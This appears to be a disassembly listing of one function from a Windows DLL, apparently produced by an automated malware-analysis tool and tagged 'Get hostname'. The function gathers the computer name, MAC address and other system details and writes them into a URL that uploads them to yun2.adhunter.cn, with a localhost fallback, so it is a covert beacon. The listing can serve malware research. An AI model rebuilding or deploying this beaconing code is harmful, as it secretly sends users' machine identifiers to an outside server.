Function at 0x180002990
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbx
push rdi
sub rsp, 0x648
mov qword [rsp + 0x5a0], 0xfffffffffffffffe
mov rax, qword [0x18004b0d0]
xor rax, rsp
mov qword [rsp + 0x630], rax
mov dword [rsp + 0xc0], 0
mov dword [rsp + 0x74], 0
lea rcx, [rsp + 0xd8]
call qword [sym.imp.mfc90.dll_Ordinal_316]
nop
lea rdx, [rsp + 0xd8]
xor ecx, ecx
call fcn.18000fe10
mov byte [rsp + 0x80], 0
lea rdi, [rsp + 0x81]
xor eax, eax
mov ecx, 0x3f
rep stosb byte [rdi], al
mov dword [rsp + 0x70], 0x3f
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea rcx, [rsp + 0xc8]
call qword [sym.imp.mfc90.dll_Ordinal_316]
nop
lea rcx, [rsp + 0xd0]
call qword [sym.imp.mfc90.dll_Ordinal_316]
nop
lea rax, [rsp + 0x500]
mov qword [rsp + 0x508], rax
mov rdx, qword [rsp + 0x678]
mov rcx, qword [rsp + 0x508]
call qword [sym.imp.mfc90.dll_Ordinal_300]
mov qword [rsp + 0x5a8], rax
lea rdx, [rsp + 0xc8]
mov rcx, qword [rsp + 0x5a8]
call fcn.1800106b0
lea rcx, [rsp + 0xc8]
call qword [sym.imp.mfc90.dll_Ordinal_2973]
mov edi, eax
lea rcx, [rsp + 0xc8]
call qword [sym.imp.mfc90.dll_Ordinal_888]
mov r8d, edi
mov rdx, rax
lea rcx, [rsp + 0x510]
call fcn.180019110
mov qword [rsp + 0x5b0], rax
mov rax, qword [rsp + 0x5b0]
mov qword [rsp + 0x5b8], rax
mov rdx, qword [rsp + 0x5b8]
lea rcx, [rsp + 0xc8]
call qword [sym.imp.mfc90.dll_Ordinal_795]
nop
lea rcx, [rsp + 0x510]
call qword [sym.imp.mfc90.dll_Ordinal_589]
lea rax, [rsp + 0x518]
mov qword [rsp + 0x520], rax
mov rdx, qword [rsp + 0x680]
mov rcx, qword [rsp + 0x520]
call qword [sym.imp.mfc90.dll_Ordinal_300]
mov qword [rsp + 0x5c0], rax
lea rdx, [rsp + 0xd0]
mov rcx, qword [rsp + 0x5c0]
call fcn.1800106b0
lea rcx, [rsp + 0xd0]
call qword [sym.imp.mfc90.dll_Ordinal_2973]
mov edi, eax
lea rcx, [rsp + 0xd0]
call qword [sym.imp.mfc90.dll_Ordinal_888]
mov r8d, edi
mov rdx, rax
lea rcx, [rsp + 0x528]
call fcn.180019110
mov qword [rsp + 0x5c8], rax
mov rax, qword [rsp + 0x5c8]
mov qword [rsp + 0x5d0], rax
mov rdx, qword [rsp + 0x5d0]
lea rcx, [rsp + 0xd0]
call qword [sym.imp.mfc90.dll_Ordinal_795]
nop
lea rcx, [rsp + 0x528]
call qword [sym.imp.mfc90.dll_Ordinal_589]
call fcn.180007c50
test eax, eax
je 0x180002bc7
lea rax, str.localhost:8080
mov qword [str.yun2.adhunter.cn], rax
mov dword [rsp + 0xe0], 0
jmp 0x180002be5
mov eax, dword [rsp + 0xe0]
add eax, 1
mov dword [rsp + 0xe0], eax
cmp dword [rsp + 0xe0], 2
jge 0x180002fc7
mov dword [rsp + 0x74], 0
jmp 0x180002c08
mov eax, dword [rsp + 0x74]
add eax, 1
mov dword [rsp + 0x74], eax
movsxd rax, dword [rsp + 0x74]
cmp rax, 2
jae 0x180002fc2
movsxd rcx, dword [rsp + 0x74]
lea rax, str.yun2.adhunter.cn
cmp qword [rax + rcx*8], 0
jne 0x180002c2c
jmp 0x180002bfd
xor ecx, ecx
call entry0
mov dword [rsp + 0x4f0], eax
mov byte [rsp + 0xf0], 0
lea rdi, [rsp + 0xf1]
xor eax, eax
mov ecx, reloc.mfc90.dll_Ordinal_1023
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov ebx, eax
lea rcx, [rsp + 0xd8]
call qword [sym.imp.mfc90.dll_Ordinal_888]
mov rdi, rax
mov rcx, qword [rsp + 0x668]
call qword [sym.imp.mfc90.dll_Ordinal_888]
mov rdx, rax
movsxd rcx, dword [rsp + 0x74]
lea r8, str.yun2.adhunter.cn
mov dword [rsp + 0x60], ebx
mov rax, qword [rsp + 0x690]
mov rax, qword [rax]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x688]
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x670]
mov dword [rsp + 0x38], eax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdx
mov r9, qword [rsp + 0x660]
mov r8, qword [r8 + rcx*8]
lea rdx, str.http:___s_index.php_client_get_data_upload_pwpp_record_agent_name_srmac_smac_scname_ssucceeded_dproc_stitle_ssrc_url_spop_url_ssys_tc_d
lea rcx, [rsp + 0xf0]
call qword [sym.imp.MSVCR90.dll_sprintf]
mov byte [rsp + 0x4ef], 0
call fcn.180007bb0
test eax, eax
je 0x180002d3f
lea r8, [rsp + 0xf0]
lea rdx, str.PWPP__:_upload___s__r_n
mov rcx, qword [0x18004c3a8]
call fcn.18000f190
lea rax, [rsp + 0x530]
mov qword [rsp + 0x538], rax
lea rax, [rsp + 0x540]
mov qword [rsp + 0x548], rax
lea rax, [rsp + 0x550]
mov qword [rsp + 0x558], rax
lea rax, [rsp + 0x560]
mov qword [rsp + 0x568], rax
lea rax, [rsp + 0x570]
mov qword [rsp + 0x578], rax
lea rax, [rsp + 0x580]
mov qword [rsp + 0x588], rax
lea rdx, [0x1800393cb]
mov rcx, qword [rsp + 0x548]
call qword [sym.imp.mfc90.dll_Ordinal_310]
mov qword [rsp + 0x5d8], rax
mov rax, qword [rsp + 0x5d8]
mov qword [rsp + 0x5e0], rax
lea rdx, [0x1800393cf]
mov rcx, qword [rsp + 0x558]
call qword [sym.imp.mfc90.dll_Ordinal_310]
mov qword [rsp + Ordinal_1515], rax
mov rax, qword [rsp + 0x5e8]
mov qword [rsp + Ordinal_1523], rax
lea rdx, [0x1800411c8]
mov rcx, qword [rsp + 0x568]
call qword [sym.imp.mfc90.dll_Ordinal_310]
mov qword [rsp + 0x5f8], rax
mov rax, qword [rsp + 0x5f8]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x588]
call qword [sym.imp.mfc90.dll_Ordinal_310]
mov qword [rsp + 0x608], rax
mov rdx, qword [rsp + 0x608]
mov rcx, qword [rsp + 0x578]
call fcn.180010880
mov qword [rsp + 0x610], rax
mov rax, qword [rsp + 0x610]
mov qword [rsp + 0x618], rax
mov rax, qword [rsp + 0x5e0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x5f0]
mov r8, qword [rsp + 0x600]
mov rdx, qword [rsp + 0x618]
mov rcx, qword [rsp + 0x538]
call fcn.180011c60
mov qword [rsp + 0x620], rax
mov rax, qword [rsp + 0x620]
mov qword [rsp + 0x628], rax
mov rdx, qword [rsp + 0x628]
lea rcx, [rsp + 0x4f8]
call fcn.180010880
lea rcx, [rsp + 0x4f8]
call qword [sym.imp.mfc90.dll_Ordinal_2973]
test eax, eax
jle 0x180002faf
mov eax, dword [rsp + 0x74]
mov dword [0x18004c338], eax
xor r8d, r8d
lea rdx, str.true
lea rcx, [rsp + 0x4f8]
call qword [sym.imp.mfc90.dll_Ordinal_2328]
test eax, eax
jle 0x180002f60
mov dword [rsp + 0x590], 1
lea rcx, [rsp + 0x4f8]
call qword [sym.imp.mfc90.dll_Ordinal_589]
nop
lea rcx, [rsp + 0xd0]
call qword [sym.imp.mfc90.dll_Ordinal_589]
nop
lea rcx, [rsp + 0xc8]
call qword [sym.imp.mfc90.dll_Ordinal_589]
nop
lea rcx, [rsp + 0xd8]
call qword [sym.imp.mfc90.dll_Ordinal_589]
mov eax, dword [rsp + 0x590]
jmp 0x180003005
mov dword [rsp + 0x594], 0
lea rcx, [rsp + 0x4f8]
call qword [sym.imp.mfc90.dll_Ordinal_589]
nop
lea rcx, [rsp + 0xd0]
call qword [sym.imp.mfc90.dll_Ordinal_589]
nop
lea rcx, [rsp + 0xc8]
call qword [sym.imp.mfc90.dll_Ordinal_589]
nop
lea rcx, [rsp + 0xd8]
call qword [sym.imp.mfc90.dll_Ordinal_589]
mov eax, dword [rsp + 0x594]
jmp 0x180003005
lea rcx, [rsp + 0x4f8]
call qword [sym.imp.mfc90.dll_Ordinal_589]
jmp 0x180002bfd
jmp 0x180002bd4
mov dword [rsp + 0x598], 0
lea rcx, [rsp + 0xd0]
call qword [sym.imp.mfc90.dll_Ordinal_589]
nop
lea rcx, [rsp + 0xc8]
call qword [sym.imp.mfc90.dll_Ordinal_589]
nop
lea rcx, [rsp + 0xd8]
call qword [sym.imp.mfc90.dll_Ordinal_589]
mov eax, dword [rsp + 0x598]
mov rcx, qword [rsp + 0x630]
xor rcx, rsp
call fcn.180032590
add rsp, 0x648
pop rdi
pop rbx
ret